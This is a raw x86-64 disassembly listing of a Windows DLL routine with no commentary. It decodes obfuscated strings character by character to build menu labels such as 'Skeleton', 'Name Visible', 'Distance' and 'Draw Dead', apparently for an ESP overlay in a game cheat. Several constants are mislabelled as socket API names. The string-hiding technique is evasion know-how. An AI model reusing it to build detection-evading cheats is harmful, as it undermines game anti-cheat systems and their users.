mov byte [rbp + 0x9c1], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x9c2], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x9c3], cl
mov byte [rbp + 0x9c4], r13b
mov byte [rbp + 0x9c5], r12b
mov byte [rbp + 0x9c6], r15b
mov byte [rbp + 0x9c7], r14b
mov byte [rbp + 0x9c8], sil
mov byte [rbp + 0x9c9], dil
mov byte [rbp + 0x9ca], bl
mov byte [rbp + 0x9cb], al
lea rcx, [rbp + 0x1e98]
call fcn.180011f00
mov dword [rsp + 0x70], 0x2000
xor r8d, r8d
mov edi, recv
mov edx, edi
lea rcx, [rbp + 0x1e98]
call fcn.180014330
xor r13d, r13d
mov esi, r13d
nop dword [rax]
nop dword [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x9c0]
call fcn.180014b10
movzx ecx, byte [rax]
call fcn.1800567a0
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x1e98]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub rdi, 1
jne 0x1800d3700
lea rcx, [rbp + 0x1e98]
call fcn.1800143e0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp - 0x80]
mov rcx, rax
call fcn.180070380
nop
lea rcx, [rbp + 0x1e98]
call fcn.180011f20
xor eax, eax
mov dword [rbp + 0x120], eax
mov word [rbp + 0x124], ax
mov cl, 0x43
call fcn.1800568f0
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800568f0
movzx r14d, al
mov cl, 0x6c
call fcn.1800568f0
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800568f0
movzx edi, al
mov cl, WSAStartup
call fcn.1800568f0
movzx ebx, al
xor ecx, ecx
call fcn.1800568f0
mov byte [rbp + 0x120], r15b
mov byte [rbp + 0x121], r14b
mov byte [rbp + 0x122], sil
mov byte [rbp + 0x123], dil
mov byte [rbp + 0x124], bl
mov byte [rbp + 0x125], al
lea rcx, [rbp + 0x1eb8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x1000
xor r8d, r8d
mov ebx, 6
mov edx, ebx
lea rcx, [rbp + 0x1eb8]
call fcn.180014330
mov rdi, r13
mov esi, ebx
mov rdx, rdi
lea rcx, [rbp + 0x120]
call fcn.180014a40
movzx ecx, byte [rax]
call fcn.1800568f0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1eb8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d3800
lea rcx, [rbp + 0x1eb8]
call fcn.1800143e0
mov rcx, rax
call fcn.1800b1aa0
nop
lea rcx, [rbp + 0x1eb8]
call fcn.180011f20
mov rcx, qword [0x1805e4a20]
call fcn.180075760
movaps xmm0, xmm13
call fcn.180076bd0
movaps xmm0, xmm8
call fcn.180076c20
xor eax, eax
mov dword [rbp + 0x78], eax
mov word [rbp + 0x7c], ax
mov byte [rbp + 0x7e], al
mov cl, 0x20
call fcn.1800567d0
movzx r12d, al
mov cl, 0x42
call fcn.1800567d0
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800567d0
movzx r14d, al
mov cl, 0x78
call fcn.1800567d0
movzx esi, al
mov cl, 0x65
call fcn.1800567d0
movzx edi, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800567d0
movzx ebx, al
xor ecx, ecx
call fcn.1800567d0
mov byte [rbp + 0x78], r12b
mov byte [rbp + 0x79], r15b
mov byte [rbp + 0x7a], r14b
mov byte [rbp + 0x7b], sil
mov byte [rbp + 0x7c], dil
mov byte [rbp + 0x7d], bl
mov byte [rbp + 0x7e], al
lea rcx, [rbp + 0x1ed8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x800
xor r8d, r8d
mov ebx, 7
mov edx, ebx
lea rcx, [rbp + 0x1ed8]
call fcn.180014330
mov rdi, r13
mov esi, ebx
nop
mov rdx, rdi
lea rcx, [rbp + 0x78]
call fcn.180014a60
movzx ecx, byte [rax]
call fcn.1800567d0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1ed8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d3910
lea rcx, [rbp + 0x1ed8]
call fcn.1800143e0
mov rcx, rax
mov r8d, 0x30460
lea rdx, [0x1805dde98]
call fcn.18009e200
nop
lea rcx, [rbp + 0x1ed8]
call fcn.180011f20
movaps xmm0, xmm13
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x1160], rax
mov cl, 0x20
call fcn.1800149a0
mov byte [rsp + 0x68], al
mov cl, 0x43
call fcn.1800149a0
mov byte [rsp + 0x69], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800149a0
mov byte [rsp + 0x6a], al
mov cl, WSAStartup
call fcn.1800149a0
mov byte [rsp + 0x6b], al
mov cl, WSAGetLastError
call fcn.1800149a0
mov byte [rsp + 0x6c], al
mov cl, 0x65
call fcn.1800149a0
mov byte [rsp + 0x6d], al
mov cl, WSAStartup
call fcn.1800149a0
mov byte [rsp + 0x6e], al
xor ecx, ecx
call fcn.1800149a0
mov byte [rsp + 0x6f], al
mov rax, qword [rsp + 0x68]
mov qword [rbp + 0x1160], rax
lea rcx, [rbp + 0x1ef8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x400
xor r8d, r8d
mov r14d, 8
mov edx, r14d
lea rcx, [rbp + 0x1ef8]
call fcn.180014330
mov rdi, r13
mov esi, r14d
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x1160]
call fcn.1800149e0
movzx ecx, byte [rax]
call fcn.1800149a0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1ef8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d3a20
lea rcx, [rbp + 0x1ef8]
call fcn.1800143e0
mov rcx, rax
mov r8d, 0x30460
lea rdx, [0x1805dde28]
call fcn.18009e200
nop
lea rcx, [rbp + 0x1ef8]
call fcn.180011f20
movaps xmm0, xmm13
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x1250], rax
mov cl, 0x20
call fcn.1800569e0
mov byte [rsp + 0x68], al
mov cl, 0x46
call fcn.1800569e0
mov byte [rsp + 0x69], al
mov cl, 0x69
call fcn.1800569e0
mov byte [rsp + 0x6a], al
mov cl, 0x6c
call fcn.1800569e0
mov byte [rsp + 0x6b], al
mov cl, 0x6c
call fcn.1800569e0
mov byte [rsp + 0x6c], al
mov cl, 0x65
call fcn.1800569e0
mov byte [rsp + 0x6d], al
mov cl, 0x64
call fcn.1800569e0
mov byte [rsp + 0x6e], al
xor ecx, ecx
call fcn.1800569e0
mov byte [rsp + 0x6f], al
mov rax, qword [rsp + 0x68]
mov qword [rbp + 0x1250], rax
lea rcx, [rbp + 0x1f18]
call fcn.180011f00
mov dword [rsp + 0x70], 0x200
xor r8d, r8d
mov rdx, r14
lea rcx, [rbp + 0x1f18]
call fcn.180014330
mov rdi, r14
mov rdx, r13
lea rcx, [rbp + 0x1250]
call fcn.1800149e0
movzx ecx, byte [rax]
call fcn.1800569e0
movzx ebx, al
mov rdx, r13
lea rcx, [rbp + 0x1f18]
call fcn.180014c80
mov byte [rax], bl
inc r13
sub rdi, 1
jne 0x1800d3b21
lea rcx, [rbp + 0x1f18]
call fcn.1800143e0
mov rcx, rax
mov r8d, 0x30460
lea rdx, [0x1805ddd38]
call fcn.18009e200
nop
lea rcx, [rbp + 0x1f18]
call fcn.180011f20
call fcn.180096cd0
movaps xmm0, xmm13
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x740], rax
mov word [rbp + 0x748], ax
mov cl, 0x20
call fcn.180056860
mov byte [rsp + 0x50], al
mov cl, 0x53
call fcn.180056860
mov byte [rsp + 0x51], al
mov cl, 0x6b
call fcn.180056860
movzx r13d, al
mov cl, 0x65
call fcn.180056860
movzx r12d, al
mov cl, 0x6c
call fcn.180056860
movzx r15d, al
mov cl, 0x65
call fcn.180056860
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056860
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056860
movzx edi, al
mov cl, WSAGetLastError
call fcn.180056860
movzx ebx, al
xor ecx, ecx
call fcn.180056860
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x740], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x741], cl
mov byte [rbp + 0x742], r13b
mov byte [rbp + 0x743], r12b
mov byte [rbp + 0x744], r15b
mov byte [rbp + 0x745], r14b
mov byte [rbp + 0x746], sil
mov byte [rbp + 0x747], dil
mov byte [rbp + 0x748], bl
mov byte [rbp + 0x749], al
lea rcx, [rbp + 0x1f38]
call fcn.180011f00
mov dword [rsp + 0x70], 0x100
xor r8d, r8d
mov ebx, 0xa
mov edx, ebx
lea rcx, [rbp + 0x1f38]
call fcn.180014330
xor r13d, r13d
mov edi, r13d
mov esi, ebx
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x740]
call fcn.180014ac0
movzx ecx, byte [rax]
call fcn.180056860
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1f38]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d3c90
lea rcx, [rbp + 0x1f38]
call fcn.1800143e0
mov rcx, rax
mov r8d, 0x30460
lea rdx, [0x1805dde50]
call fcn.18009e200
nop
lea rcx, [rbp + 0x1f38]
call fcn.180011f20
call fcn.180096cd0
movaps xmm0, xmm13
call fcn.180076bd0
xor eax, eax
mov dword [rbp + 0x70], eax
mov word [rbp + 0x74], ax
mov byte [rbp + 0x76], al
mov cl, 0x20
call fcn.1800ed820
movzx r12d, al
mov cl, 0x4c
call fcn.1800ed820
movzx r15d, al
mov cl, 0x69
call fcn.1800ed820
movzx r14d, al
mov cl, WSAGetLastError
call fcn.1800ed820
movzx esi, al
mov cl, 0x65
call fcn.1800ed820
movzx edi, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800ed820
movzx ebx, al
xor ecx, ecx
call fcn.1800ed820
mov byte [rbp + 0x70], r12b
mov byte [rbp + 0x71], r15b
mov byte [rbp + 0x72], r14b
mov byte [rbp + 0x73], sil
mov byte [rbp + 0x74], dil
mov byte [rbp + 0x75], bl
mov byte [rbp + 0x76], al
lea rcx, [rbp + 0x1f58]
call fcn.180011f00
mov dword [rsp + 0x70], 0x200
xor r8d, r8d
mov esi, 7
mov edx, esi
lea rcx, [rbp + 0x1f58]
call fcn.180014330
mov rdi, r13
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x70]
call fcn.180014a60
movzx ecx, byte [rax]
call fcn.1800ed820
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1f58]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d3da0
lea rcx, [rbp + 0x1f58]
call fcn.1800143e0
mov rcx, rax
mov r8d, 0x30460
lea rdx, [0x1805dddd0]
call fcn.18009e200
nop
lea rcx, [rbp + 0x1f58]
call fcn.180011f20
call fcn.180096cd0
movaps xmm0, xmm13
call fcn.180076bd0
xor eax, eax
mov dword [rbp + 0x128], eax
mov word [rbp + 0x12c], ax
mov cl, 0x20
call fcn.1800ed7d0
movzx r15d, al
mov cl, 0x54
call fcn.1800ed7d0
movzx r14d, al
mov cl, 0x65
call fcn.1800ed7d0
movzx esi, al
mov cl, 0x78
call fcn.1800ed7d0
movzx edi, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800ed7d0
movzx ebx, al
xor ecx, ecx
call fcn.1800ed7d0
mov byte [rbp + 0x128], r15b
mov byte [rbp + 0x129], r14b
mov byte [rbp + 0x12a], sil
mov byte [rbp + 0x12b], dil
mov byte [rbp + 0x12c], bl
mov byte [rbp + 0x12d], al
lea rcx, [rbp + 0x1f78]
call fcn.180011f00
mov dword [rsp + 0x70], 0x100
xor r8d, r8d
mov edi, 6
mov edx, edi
lea rcx, [rbp + 0x1f78]
call fcn.180014330
nop dword [rax]
mov rdx, r13
lea rcx, [rbp + 0x128]
call fcn.180014a40
movzx ecx, byte [rax]
call fcn.1800ed7d0
movzx ebx, al
mov rdx, r13
lea rcx, [rbp + 0x1f78]
call fcn.180014c80
mov byte [rax], bl
inc r13
sub rdi, 1
jne 0x1800d3eb0
lea rcx, [rbp + 0x1f78]
call fcn.1800143e0
mov rcx, rax
mov r8d, 0x30460
lea rdx, [0x1805ddea8]
call fcn.18009e200
nop
lea rcx, [rbp + 0x1f78]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm13
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x3c0], rax
mov byte [rbp + 0x3c8], al
mov cl, 0x20
call fcn.180014670
mov byte [rsp + 0x50], al
mov cl, 0x46
call fcn.180014670
movzx r13d, al
mov cl, WSAStartup
call fcn.180014670
movzx r12d, al
mov cl, 0x69
call fcn.180014670
movzx r15d, al
mov cl, 0x65
call fcn.180014670
movzx r14d, al
mov cl, WSAGetLastError
call fcn.180014670
movzx esi, al
mov cl, 0x64
call fcn.180014670
movzx edi, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180014670
movzx ebx, al
xor ecx, ecx
call fcn.180014670
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x3c0], cl
mov byte [rbp + 0x3c1], r13b
mov byte [rbp + 0x3c2], r12b
mov byte [rbp + 0x3c3], r15b
mov byte [rbp + 0x3c4], r14b
mov byte [rbp + 0x3c5], sil
mov byte [rbp + 0x3c6], dil
mov byte [rbp + 0x3c7], bl
mov byte [rbp + 0x3c8], al
lea rcx, [rbp + 0x1f98]
call fcn.180011f00
mov dword [rsp + 0x70], 0x80
xor r8d, r8d
mov ebx, 9
mov edx, ebx
lea rcx, [rbp + 0x1f98]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop
mov rdx, rdi
lea rcx, [rbp + 0x3c0]
call fcn.180014be0
movzx ecx, byte [rax]
call fcn.180014670
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1f98]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d4000
lea rcx, [rbp + 0x1f98]
call fcn.1800143e0
mov rcx, rax
mov r8d, 0x30460
lea rdx, [0x1805dde60]
call fcn.18009e200
nop
lea rcx, [rbp + 0x1f98]
call fcn.180011f20
movaps xmm0, xmm13
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x5a0], rax
mov dword [rbp + 0x5a8], eax
mov byte [rbp + 0x5ac], al
mov cl, 0x20
call fcn.180056920
mov byte [rsp + 0x50], al
mov cl, 0x4e
call fcn.180056920
mov byte [rsp + 0x51], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056920
mov byte [rsp + 0x52], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056920
mov byte [rsp + 0x53], al
mov cl, 0x20
call fcn.180056920
mov byte [rsp + 0x54], al
mov cl, 0x56
call fcn.180056920
movzx r13d, al
mov cl, 0x69
call fcn.180056920
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180056920
movzx r15d, al
mov cl, 0x69
call fcn.180056920
movzx r14d, al
mov cl, 0x62
call fcn.180056920
movzx esi, al
mov cl, 0x6c
call fcn.180056920
movzx edi, al
mov cl, 0x65
call fcn.180056920
movzx ebx, al
xor ecx, ecx
call fcn.180056920
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x5a0], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x5a1], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x5a2], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x5a3], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x5a4], cl
mov byte [rbp + 0x5a5], r13b
mov byte [rbp + 0x5a6], r12b
mov byte [rbp + 0x5a7], r15b
mov byte [rbp + 0x5a8], r14b
mov byte [rbp + 0x5a9], sil
mov byte [rbp + 0x5aa], dil
mov byte [rbp + 0x5ab], bl
mov byte [rbp + 0x5ac], al
lea rcx, [rbp + 0x1fb8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x40
xor r8d, r8d
mov esi, reloc.WS2_32.dll_listen
mov edx, esi
lea rcx, [rbp + 0x1fb8]
call fcn.180014330
xor edi, edi
mov rdx, rdi
lea rcx, [rbp + 0x5a0]
call fcn.180014aa0
movzx ecx, byte [rax]
call fcn.180056920
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1fb8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d41a1
lea rcx, [rbp + 0x1fb8]
call fcn.1800143e0
mov rcx, rax
mov r8d, 0x30460
lea rdx, [0x1805dde08]
call fcn.18009e200
nop
lea rcx, [rbp + 0x1fb8]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
call fcn.180075800
call fcn.180070430
movss xmm0, dword [0x1801ce844]
call fcn.180076c20
lea rcx, [rbp + 0x4418]
call fcn.180076f00
movss xmm0, dword [rax]
mulss xmm0, xmm9
addss xmm0, xmm10
call fcn.180076bd0
lea rcx, [rbp + 0x4420]
call fcn.180076f00
movss xmm6, dword [rax + 4]
subss xmm6, xmm10
lea rcx, [rbp + 0x4428]
call fcn.180076f00
movss xmm1, dword [rax]
subss xmm1, xmm12
movaps xmm2, xmm6
lea rcx, [rbp + 0x4430]
call fcn.180011e10
mov qword [rbp - 0x80], rax
xor eax, eax
mov qword [rbp + 0x4e0], rax
mov dword [rbp + 0x4e8], eax
mov word [rbp + 0x4ec], ax
mov byte [rbp + 0x4ee], al
mov cl, 0x23
call fcn.180056a60
mov byte [rsp + 0x50], al
mov cl, 0x23
call fcn.180056a60
mov byte [rsp + 0x51], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180056a60
mov byte [rsp + 0x52], al
mov cl, 0x65
call fcn.180056a60
mov byte [rsp + 0x53], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056a60
mov byte [rsp + 0x54], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056a60
mov byte [rsp + 0x55], al
mov cl, 0x69
call fcn.180056a60
mov byte [rsp + 0x56], al
mov cl, WSAGetLastError
call fcn.180056a60
movzx r13d, al
mov cl, 0x67
call fcn.180056a60
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180056a60
movzx r15d, al
mov cl, 0x5f
call fcn.180056a60
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056a60
movzx esi, al
mov cl, 0x61
call fcn.180056a60
movzx edi, al
mov cl, 0x62
call fcn.180056a60
movzx ebx, al
xor ecx, ecx
call fcn.180056a60
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x4e0], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x4e1], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x4e2], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x4e3], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x4e4], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0x4e5], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0x4e6], cl
mov byte [rbp + 0x4e7], r13b
mov byte [rbp + 0x4e8], r12b
mov byte [rbp + 0x4e9], r15b
mov byte [rbp + 0x4ea], r14b
mov byte [rbp + 0x4eb], sil
mov byte [rbp + 0x4ec], dil
mov byte [rbp + 0x4ed], bl
mov byte [rbp + 0x4ee], al
lea rcx, [rbp + 0x1fd8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x40000000
xor r8d, r8d
mov edi, reloc.WS2_32.dll_ntohs
mov edx, edi
lea rcx, [rbp + 0x1fd8]
call fcn.180014330
xor esi, esi
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x4e0]
call fcn.180014a80
movzx ecx, byte [rax]
call fcn.180056a60
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x1fd8]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub rdi, 1
jne 0x1800d43f0
lea rcx, [rbp + 0x1fd8]
call fcn.1800143e0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp - 0x80]
mov rcx, rax
call fcn.180070380
nop
lea rcx, [rbp + 0x1fd8]
call fcn.180011f20
xor eax, eax
mov qword [rbp + 0x3d0], rax
mov byte [rbp + 0x3d8], al
mov cl, 0x53
call fcn.180056a60
mov byte [rsp + 0x50], al
mov cl, 0x65
call fcn.180056a60
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056a60
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056a60
movzx r15d, al
mov cl, 0x69
call fcn.180056a60
movzx r14d, al
mov cl, WSAGetLastError
call fcn.180056a60
movzx esi, al
mov cl, 0x67
call fcn.180056a60
movzx edi, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180056a60
movzx ebx, al
xor ecx, ecx
call fcn.180056a60
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x3d0], cl
mov byte [rbp + 0x3d1], r13b
mov byte [rbp + 0x3d2], r12b
mov byte [rbp + 0x3d3], r15b
mov byte [rbp + 0x3d4], r14b
mov byte [rbp + 0x3d5], sil
mov byte [rbp + 0x3d6], dil
mov byte [rbp + 0x3d7], bl
mov byte [rbp + 0x3d8], al
lea rcx, [rbp + 0x1ff8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x80000000
xor r8d, r8d
mov ebx, 9
mov edx, ebx
lea rcx, [rbp + 0x1ff8]
call fcn.180014330
xor edi, edi
mov esi, edi
mov r14d, ebx
nop dword [rax]
mov rdx, rsi
lea rcx, [rbp + 0x3d0]
call fcn.180014be0
movzx ecx, byte [rax]
call fcn.180056a60
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x1ff8]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r14, 1
jne 0x1800d4530
lea rcx, [rbp + 0x1ff8]
call fcn.1800143e0
mov rcx, rax
call fcn.1800b1aa0
nop
lea rcx, [rbp + 0x1ff8]
call fcn.180011f20
mov rcx, qword [0x1805e4a20]
call fcn.180075760
movss xmm0, dword [0x1801ce7dc]
call fcn.180076c20
lea rcx, [rbp + 0x4438]
call fcn.180076f00
movss xmm0, dword [rax]
mulss xmm0, xmm9
subss xmm0, xmm7
call fcn.180076bd0
xor eax, eax
mov word [rbp + 0xd8], ax
mov cl, 0x6d
call fcn.1800ed790
mov byte [rsp + 0x5c], al
xor ecx, ecx
call fcn.1800ed790
mov byte [rsp + 0x5d], al
movzx eax, word [rsp + 0x5c]
mov word [rbp + 0xd8], ax
lea rcx, [rbp + 0x2038]
call fcn.180011f00
mov dword [rsp + 0x70], 1
xor r8d, r8d
lea edx, [r14 + 2]
lea rcx, [rbp + 0x2038]
call fcn.180014330
lea esi, [r14 + 2]
nop dword [rax]
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0xd8]
call fcn.180056ef0
movzx ecx, byte [rax]
call fcn.1800ed790
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2038]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d4620
lea rcx, [rbp + 0x2038]
call fcn.1800143e0
mov qword [rbp - 0x80], rax
xor eax, eax
mov qword [rbp + 0x3e0], rax
mov byte [rbp + 0x3e8], al
mov cl, 0x44
call fcn.180056ac0
mov byte [rsp + 0x50], al
mov cl, 0x69
call fcn.180056ac0
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180056ac0
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056ac0
movzx r15d, al
mov cl, 0x61
call fcn.180056ac0
movzx r14d, al
mov cl, WSAGetLastError
call fcn.180056ac0
movzx esi, al
mov cl, 0x63
call fcn.180056ac0
movzx edi, al
mov cl, 0x65
call fcn.180056ac0
movzx ebx, al
xor ecx, ecx
call fcn.180056ac0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x3e0], cl
mov byte [rbp + 0x3e1], r13b
mov byte [rbp + 0x3e2], r12b
mov byte [rbp + 0x3e3], r15b
mov byte [rbp + 0x3e4], r14b
mov byte [rbp + 0x3e5], sil
mov byte [rbp + 0x3e6], dil
mov byte [rbp + 0x3e7], bl
mov byte [rbp + 0x3e8], al
lea rcx, [rbp + 0x2018]
call fcn.180011f00
mov dword [rsp + 0x70], 3
xor r8d, r8d
mov edi, 9
mov edx, edi
lea rcx, [rbp + 0x2018]
call fcn.180014330
xor esi, esi
nop dword [rax]
mov rdx, rsi
lea rcx, [rbp + 0x3e0]
call fcn.180014be0
movzx ecx, byte [rax]
call fcn.180056ac0
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x2018]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub rdi, 1
jne 0x1800d4740
lea rcx, [rbp + 0x2018]
call fcn.1800143e0
mov byte [rsp + 0x28], dil
mov rcx, qword [rbp - 0x80]
mov qword [rsp + 0x20], rcx
movss xmm3, dword [0x1801ce8a4]
movaps xmm2, xmm14
lea rdx, [0x1801f7070]
mov rcx, rax
call fcn.1800b35f0
nop
lea rcx, [rbp + 0x2018]
call fcn.180011f20
nop
lea rcx, [rbp + 0x2038]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm11
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x320], rax
mov word [rbp + 0x328], ax
mov byte [rbp + 0x32a], al
mov cl, 0x20
call fcn.180056910
mov byte [rsp + 0x50], al
mov cl, 0x44
call fcn.180056910
mov byte [rsp + 0x51], al
mov cl, WSAStartup
call fcn.180056910
mov byte [rsp + 0x52], al
mov cl, 0x61
call fcn.180056910
movzx r13d, al
mov cl, 0x77
call fcn.180056910
movzx r12d, al
mov cl, 0x20
call fcn.180056910
movzx r15d, al
mov cl, 0x44
call fcn.180056910
movzx r14d, al
mov cl, 0x65
call fcn.180056910
movzx esi, al
mov cl, 0x61
call fcn.180056910
movzx edi, al
mov cl, 0x64
call fcn.180056910
movzx ebx, al
xor ecx, ecx
call fcn.180056910
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x320], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x321], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x322], cl
mov byte [rbp + 0x323], r13b
mov byte [rbp + 0x324], r12b
mov byte [rbp + 0x325], r15b
mov byte [rbp + 0x326], r14b
mov byte [rbp + 0x327], sil
mov byte [rbp + 0x328], dil
mov byte [rbp + 0x329], bl
mov byte [rbp + 0x32a], al
lea rcx, [rbp + 0x2058]
call fcn.180011f00
mov dword [rsp + 0x70], 4
xor r8d, r8d
mov ebx, listen
mov edx, ebx
lea rcx, [rbp + 0x2058]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x320]
call fcn.180014af0
movzx ecx, byte [rax]
call fcn.180056910
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2058]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d48f0
lea rcx, [rbp + 0x2058]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e48b4]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x2058]
call fcn.180011f20
movaps xmm0, xmm11
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x710], rax
mov word [rbp + 0x718], ax
mov cl, 0x20
call fcn.1800149a0
mov byte [rsp + 0x50], al
mov cl, 0x44
call fcn.1800149a0
mov byte [rsp + 0x51], al
mov cl, WSAStartup
call fcn.1800149a0
movzx r13d, al
mov cl, 0x61
call fcn.1800149a0
movzx r12d, al
mov cl, 0x77
call fcn.1800149a0
movzx r15d, al
mov cl, 0x20
call fcn.1800149a0
movzx r14d, al
mov cl, 0x50
call fcn.1800149a0
movzx esi, al
mov cl, 0x65
call fcn.1800149a0
movzx edi, al
mov cl, 0x64
call fcn.1800149a0
movzx ebx, al
xor ecx, ecx
call fcn.1800149a0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x710], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x711], cl
mov byte [rbp + 0x712], r13b
mov byte [rbp + 0x713], r12b
mov byte [rbp + 0x714], r15b
mov byte [rbp + 0x715], r14b
mov byte [rbp + 0x716], sil
mov byte [rbp + 0x717], dil
mov byte [rbp + 0x718], bl
mov byte [rbp + 0x719], al
lea rcx, [rbp + 0x2078]
call fcn.180011f00
mov dword [rsp + 0x70], 8
xor r8d, r8d
mov edi, 0xa
mov edx, edi
lea rcx, [rbp + 0x2078]
call fcn.180014330
xor esi, esi
nop dword [rax]
nop dword [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x710]
call fcn.180014ac0
movzx ecx, byte [rax]
call fcn.1800149a0
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x2078]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub rdi, 1
jne 0x1800d4a50
lea rcx, [rbp + 0x2078]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e48b2]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x2078]
call fcn.180011f20
movaps xmm0, xmm11
call fcn.180076bd0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc38], xmm0
